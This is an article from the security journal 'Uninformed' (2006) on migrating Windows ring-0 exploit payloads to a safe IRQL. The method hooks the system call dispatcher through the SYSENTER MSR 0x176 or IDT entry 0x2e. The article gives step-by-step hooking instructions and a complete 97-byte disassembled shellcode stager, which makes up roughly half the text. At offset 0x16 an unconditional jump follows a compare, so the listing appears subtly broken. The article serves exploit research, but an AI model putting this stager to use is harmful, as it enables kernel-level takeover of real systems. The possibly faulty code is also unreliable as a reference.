Uninformed: Informative Information for the Uninformed

Vol 3» 2006.Jan

System Call MSR/IDT Hooking

Type: R0 IRQL Migrator
Size: 97 bytes
Compat: All

One relatively simple way of migrating a R0 payload to a safe IRQL is by hooking the function used to dispatch system calls in kernel-mode through the use of a processor model-specific register. In newer processors, system calls are dispatched through an improved interface that takes advantage of a registered function pointer that is given control when a system call is dispatched. The function pointer is stored within the STAR model-specific register that has a symbolic code of 0x176.

To take advantage of this on Windows XP+ for the purpose payload migration, all that is required is to first read the current state of the MSR so that the original system call dispatcher routine can be preserved. After that, the second stage of the R0 payload must be copied to another location, preferably globally accessible and unused, such as SharedUserData or the KPRCB. Once the second stage has been copied, the value of the MSR can be changed to point to the first instruction of the now-copied stage. The end result is that whenever a system call is dispatched from user-mode, second stage of the R0 payload will be executed as IRQL = PASSIVE.

For Windows 2000, and for versions of Windows XP+ running on older hardware, another approach is required that is virtually equivalent. Instead of changing the processor MSR, the IDT entry for the 0x2e soft-interrupt that is used to dispatch system calls must be hooked so that whenever the soft-interrupt is triggered the migrated R0 payload is called. The steps taken to copy the second stage to another location are the same as they would be under the MSR approach.

The following steps outline one way in which a stager of this type could be implemented for Windows 2000 and Windows XP.

  1. Determining which system call vector to hook. By checking KUSER_SHARED_DATA.NtMinorVersion located at 0xffdf0270 for a value of 0 it is safe to assume the IDT will need to be hooked since the syscall/sysenter instructions are not used in Windows 2000, otherwise the hook should be installed in the MSR:0x176 register. Note however that it is possible Windows XP will not use this method under rare circumstances. Also an assumption of NtMajorVersion being 5 is made.
  2. Caching the existing service routine address If the MSR register is to be hooked the current value can be retrieved by placing the symbolic code of 0x176 in ecx and using the rdmsr instruction. The existing value will be returned in edx:eax. If the IDT entry at index 0x2e is to be hooked it can be retrieved by first obtaining the processors IDT base using the sidt instruction. The entry then can be located at offset 0x170 relative to the base since the IDT is an array of KIDTENTRY structures. Lastly the address of the code that services the interrupt is in KIDTENTRY with the low word at Offset and high word at ExtendedOffset. The following is the definition of KIDTENTRY.
    kd> dt _KIDTENTRY
    +0x000 Offset           : Uint2B
    +0x002 Selector         : Uint2B
    +0x004 Access           : Uint2B
    +0x006 ExtendedOffset   : Uint2B
  3. Migrating the payload A relatively safe place to migrate the payload to is the free space after the first processors KPCR structure. An arbitrary value of 0xffdffd80 is used to cache the current service routine address and the remainder of the payload is copied to 0xffdffd84 followed by a an indirect jump to the original service routine using jmp [0xffdffd80]. Note that a payload is responsible for maintaining all registers before calling the original service routine with this implementation. The payload also may not exceed the end of the memory page, thus limiting its size to 630 bytes. Historically, R0 shellcode has been put in the space after SharedUserData since it is exposed to all processes at R3. However, that could have its disadvantages if the payload has no requirements to be accessed from R3. The down side is the smaller amount of free space available.
  4. Hooking the service routine Using the same methods described to cache the current service routine are used to hook. For hooking the IDT, interrupts are temporarily disabled to overwrite the KIDTENTRY Offset and ExtendedOffset fields. Disabling interrupts on the current processor will still be safe in multiprocessor environments since IDTs are maintained on a per processor basis. For hooking the MSR, the new service routine is placed in edx:eax (for this case 0x0:0xffdffd84), 0x176 in ecx, and issue a wrmsr instruction.

The following code illustrates an implementation of this type of staging payload. It's roughly 97 bytes in size, excluding the staged payload and the recovery method. Removing the support for hooking the IDT entry reduces the size to roughly 47 bytes.

00000000  FC                cld
00000001  BF80FDDFFF        mov edi,0xffdffd80
00000006  57                push edi
00000007  6A76              push byte +0x76
00000009  58                pop eax
0000000A  FEC4              inc ah
0000000C  99                cdq
0000000D  91                xchg eax,ecx
0000000E  89F8              mov eax,edi
00000010  66B87002          mov ax,0x270
00000014  3910              cmp [eax],edx
00000016  EB06              jmp short 0x1e
00000018  50                push eax
00000019  0F32              rdmsr
0000001B  AB                stosd
0000001C  EB3E              jmp short 0x5c
0000001E  648B4238          mov eax,[fs:edx+0x38]
00000022  8D4408FA          lea eax,[eax+ecx-0x6]
00000026  50                push eax
00000027  91                xchg eax,ecx
00000028  8B4104            mov eax,[ecx+0x4]
0000002B  668B01            mov ax,[ecx]
0000002E  AB                stosd
0000002F  EB2B              jmp short 0x5c
00000031  5E                pop esi
00000032  6A01              push byte +0x1
00000034  59                pop ecx
00000035  F3A5              rep movsd
00000037  B8FF2580FD        mov eax,0xfd8025ff
0000003C  AB                stosd
0000003D  66C707DFFF        mov word [edi],0xffdf
00000042  59                pop ecx
00000043  58                pop eax
00000044  0404              add al,0x4
00000046  85C9              test ecx,ecx
00000048  9C                pushf
00000049  FA                cli
0000004A  668901            mov [ecx],ax
0000004D  C1E810            shr eax,0x10
00000050  66894106          mov [ecx+0x6],ax
00000054  9D                popf
00000055  EB04              jmp short 0x5b
00000057  31D2              xor edx,edx
00000059  0F30              wrmsr
0000005B  C3                ret ; replace with recovery method
0000005C  E8D0FFFFFF        call 0x31

... R0 stage here ...